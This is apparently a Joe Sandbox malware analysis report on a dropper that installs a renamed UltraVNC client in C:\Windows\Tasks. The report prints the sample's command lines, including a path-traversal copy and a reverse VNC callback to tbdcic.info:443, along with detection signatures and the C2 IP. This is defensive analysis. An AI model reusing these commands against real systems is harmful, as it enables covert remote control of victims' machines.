Edit tour

Windows Analysis Report
Olz7TmvkEW.exe

Overview

General Information

Sample name:	Olz7TmvkEW.exe renamed because original name is a hash value
Original sample name:	cc5d2ffba999e9263c55a6cf0f0d39d3264b8a0f8683bc3c4314d4faf01f2651.exe
Analysis ID:	1579877
MD5:	539b0fc32045de3013d00850827654aa
SHA1:	eed973e0a66dab8e80a1403acd7beab580c34f94
SHA256:	cc5d2ffba999e9263c55a6cf0f0d39d3264b8a0f8683bc3c4314d4faf01f2651
Tags:	exetbdcic-infouser-JAMESWT_MHT
Infos:

Detection

UltraVNC

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Yara detected UltraVNC Hacktool

AI detected suspicious sample

Contains VNC / remote desktop functionality (version string found)

Contains functionality to register a low level keyboard hook

Drops executables to the windows directory (C:\Windows) and starts them

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Suspicious UltraVNC Execution

Binary contains a suspicious time stamp

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Potential Command Line Path Traversal Evasion Attempt

Sigma detected: Suspicious Copy From or To System Directory

Sigma detected: Suspicious Process Start Locations

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Classification

Process Tree

System is w10x64

Olz7TmvkEW.exe (PID: 1240 cmdline: "C:\Users\user\Desktop\Olz7TmvkEW.exe" MD5: 539B0FC32045DE3013D00850827654AA)

cmd.exe (PID: 4460 cmdline: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4828 cmdline: "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & copy 5482310161066753 5482310161066753.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5472 cmdline: "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 2404 cmdline: timeout /t 1 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

Acrobat.exe (PID: 5628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\Lom.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7328 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7608 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1620,i,1244757786394312861,11570424180585682022,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

timeout.exe (PID: 6408 cmdline: timeout /t 1 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

taskkill.exe (PID: 7424 cmdline: taskkill /f /im sync_browser.exe MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

timeout.exe (PID: 8012 cmdline: timeout /t 2 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 7560 cmdline: timeout /t 1 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 7424 cmdline: timeout /t 2 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

sync_browser.exe (PID: 2044 cmdline: C:\Windows\Tasks\sync_browser.exe MD5: 749B3A68B9C5325D592822EE7C2C17EC)

timeout.exe (PID: 1532 cmdline: timeout /t 8 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

sync_browser.exe (PID: 1840 cmdline: C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443 MD5: 749B3A68B9C5325D592822EE7C2C17EC)

timeout.exe (PID: 2156 cmdline: timeout /t 2 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 8032 cmdline: timeout /t 4 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 7428 cmdline: timeout /t 42 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 3652 cmdline: timeout /t 42 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 924 cmdline: timeout /t 42 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

timeout.exe (PID: 6008 cmdline: timeout /t 42 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Windows\Tasks\GIjul8.QTIrrr	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\GIjul8.QTIrrr	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
C:\Windows\Tasks\sync_browser.exe	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
0000001A.00000002.1500421713.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
0000001A.00000000.1496705820.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
00000017.00000000.1422085476.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
Process Memory Space: Olz7TmvkEW.exe PID: 1240	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
Process Memory Space: sync_browser.exe PID: 2044	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
Process Memory Space: sync_browser.exe PID: 1840	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
26.0.sync_browser.exe.7ff7e5070000.0.unpack	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
23.2.sync_browser.exe.7ff7e5070000.0.unpack	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
26.2.sync_browser.exe.7ff7e5070000.0.unpack	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security
23.0.sync_browser.exe.7ff7e5070000.0.unpack	JoeSecurity_UltraVNC	Yara detected UltraVNC Hacktool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Windows\Tasks\sync_browser.exe, CommandLine: C:\Windows\Tasks\sync_browser.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Tasks\sync_browser.exe, NewProcessName: C:\Windows\Tasks\sync_browser.exe, OriginalFileName: C:\Windows\Tasks\sync_browser.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5472, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Tasks\sync_browser.exe, ProcessId: 2044, ProcessName: sync_browser.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 5472, TargetFilename: C:\Windows\Tasks\conhost.exe

Sigma detected: Suspicious UltraVNC Execution

Source: Process started

Author: Bhabesh Raj: Data: Command: C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443, CommandLine: C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443, CommandLine|base64offset|contains: yr, Image: C:\Windows\Tasks\sync_browser.exe, NewProcessName: C:\Windows\Tasks\sync_browser.exe, OriginalFileName: C:\Windows\Tasks\sync_browser.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5472, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Tasks\sync_browser.exe -autoreconnect -id:user-PC_Thj0Wf -connect tbdcic.info:443, ProcessId: 1840, ProcessName: sync_browser.exe

Sigma detected: Potential Command Line Path Traversal Evasion Attempt

Source: Process started

Author: Christian Burkard (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\", CommandLine: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Olz7TmvkEW.exe", ParentImage: C:\Users\user\Desktop\Olz7TmvkEW.exe, ParentProcessId: 1240, ParentProcessName: Olz7TmvkEW.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\", ProcessId: 4460, ProcessName: cmd.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\", CommandLine: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Olz7TmvkEW.exe", ParentImage: C:\Users\user\Desktop\Olz7TmvkEW.exe, ParentProcessId: 1240, ParentProcessName: Olz7TmvkEW.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy /y "%CD%\*.*" "%CD%\..\..\..\..\..\..\Windows\Tasks\", ProcessId: 4460, ProcessName: cmd.exe

Sigma detected: Suspicious Process Start Locations

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community: Data: Command: C:\Windows\Tasks\sync_browser.exe, CommandLine: C:\Windows\Tasks\sync_browser.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Tasks\sync_browser.exe, NewProcessName: C:\Windows\Tasks\sync_browser.exe, OriginalFileName: C:\Windows\Tasks\sync_browser.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Tasks\ & 5482310161066753.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5472, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\Tasks\sync_browser.exe, ProcessId: 2044, ProcessName: sync_browser.exe

Suricata Signatures

ET MALWARE Possible Ursnif/Gamaredon Related VNC Module CnC Beacon

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T13:39:02.527504+0100	2035893	1	Malware Command and Control Activity Detected	192.168.2.7	49918	194.190.152.201	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Source: Olz7TmvkEW.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: conhost.pdbUGP source: Olz7TmvkEW.exe, 00000000.00000003.1297167688.000000000273D000.00000004.00000020.00020000.00000000.sdmp, sdABZ4.E1924R.2.dr, sdABZ4.E1924R.0.dr, conhost.exe.6.dr
Source:	Binary string: conhost.pdb source: Olz7TmvkEW.exe, 00000000.00000003.1297167688.000000000273D000.00000004.00000020.00020000.00000000.sdmp, sdABZ4.E1924R.2.dr, sdABZ4.E1924R.0.dr, conhost.exe.6.dr

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00403387 GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	0_2_00403387
Source: C:\Users\user\Desktop\Olz7TmvkEW.exe	Code function: 0_2_00402EE6 FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	0_2_00402EE6
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5096DD1 OpenInputDesktop,CloseDesktop,GetTickCount,GetLogicalDriveStringsA,GetDriveTypeA,SHGetMalloc,SHGetSpecialFolderLocation,SHGetPathFromIDListA,SetErrorMode,FindFirstFileA,SetErrorMode,lstrlenA,FindNextFileA,FindClose,LeaveCriticalSection,	23_2_00007FF7E5096DD1
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5075910 GetModuleFileNameA,FindFirstFileA,SendMessageA,FindNextFileA,FindClose,	23_2_00007FF7E5075910
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E512A228 __doserrno,_errno,_invalid_parameter_noinfo,_errno,__doserrno,_getdrive,FindFirstFileExA,_errno,_errno,_errno,_errno,_errno,GetDriveTypeA,free,free,_errno,__doserrno,_wsopen_s,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	23_2_00007FF7E512A228
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E509C210 SetErrorMode,FindFirstFileA,SetErrorMode,FindClose,	23_2_00007FF7E509C210
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5096DD1 OpenInputDesktop,CloseDesktop,GetTickCount,GetLogicalDriveStringsA,GetDriveTypeA,SHGetMalloc,SHGetSpecialFolderLocation,SHGetPathFromIDListA,SetErrorMode,FindFirstFileA,SetErrorMode,lstrlenA,FindNextFileA,FindClose,LeaveCriticalSection,	26_2_00007FF7E5096DD1
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E5075910 GetModuleFileNameA,FindFirstFileA,SendMessageA,FindNextFileA,FindClose,	26_2_00007FF7E5075910
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E512A228 __doserrno,_errno,_invalid_parameter_noinfo,_errno,__doserrno,_getdrive,FindFirstFileExA,_errno,_errno,_errno,_errno,_errno,GetDriveTypeA,free,free,_errno,__doserrno,_wsopen_s,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FindClose,GetLastError,FindClose,	26_2_00007FF7E512A228
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 26_2_00007FF7E509C210 SetErrorMode,FindFirstFileA,SetErrorMode,FindClose,	26_2_00007FF7E509C210

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5096DD1 OpenInputDesktop,CloseDesktop,GetTickCount,GetLogicalDriveStringsA,GetDriveTypeA,SHGetMalloc,SHGetSpecialFolderLocation,SHGetPathFromIDListA,SetErrorMode,FindFirstFileA,SetErrorMode,lstrlenA,FindNextFileA,FindClose,LeaveCriticalSection,

23_2_00007FF7E5096DD1

Source: Network traffic

Suricata IDS: 2035893 - Severity 1 - ET MALWARE Possible Ursnif/Gamaredon Related VNC Module CnC Beacon : 192.168.2.7:49918 -> 194.190.152.201:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E50DD890 EnterCriticalSection,LeaveCriticalSection,recv,WSAGetLastError,WSAGetLastError,LeaveCriticalSection,recv,WSAGetLastError,

23_2_00007FF7E50DD890

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: tbdcic.info

Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.12.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://forum.uvnc.com
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://java.sun.com/products/plugin/index.html#download
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://java.sun.com/update/1.4.2/jinstall-1_4-windows-i586.cab#Version=1
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002912000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.0000000000639000.00000004.00001000.00020000.00000000.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002904000.00000004.00000020.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299366156.000000000062B000.00000004.00001000.00020000.00000000.sdmp, Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500421713.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://www.uvnc.com
Source: Olz7TmvkEW.exe, 00000000.00000003.1299009306.0000000002739000.00000004.00000020.00020000.00000000.sdmp, sync_browser.exe, 00000017.00000000.1422003832.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000000.1496636673.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, sync_browser.exe, 0000001A.00000002.1500264641.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmp, GIjul8.QTIrrr.2.dr, sync_browser.exe.6.dr, GIjul8.QTIrrr.0.dr	String found in binary or memory: http://www.uvnc.comopenhttp://forum.uvnc.comnet
Source: 2D85F72862B55C4EADD9E66E06947F3D.12.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Desktop\Olz7TmvkEW.exe

Code function: 0_2_00408630 SetWindowsHookExW 00000002,Function_00008602,00000000,00000000

0_2_00408630

Source: C:\Windows\Tasks\sync_browser.exe

Code function: 23_2_00007FF7E5071DD0 OpenClipboard,EmptyClipboard,CloseClipboard,MultiByteToWideChar,GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,

23_2_00007FF7E5071DD0

Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E5071DD0 OpenClipboard,EmptyClipboard,CloseClipboard,MultiByteToWideChar,GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,GlobalAlloc,CloseClipboard,GlobalLock,GlobalUnlock,SetClipboardData,GlobalFree,CloseClipboard,	23_2_00007FF7E5071DD0
Source: C:\Windows\Tasks\sync_browser.exe	Code function: 23_2_00007FF7E50A13A0 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,	23_2_00007FF7E50A13A0
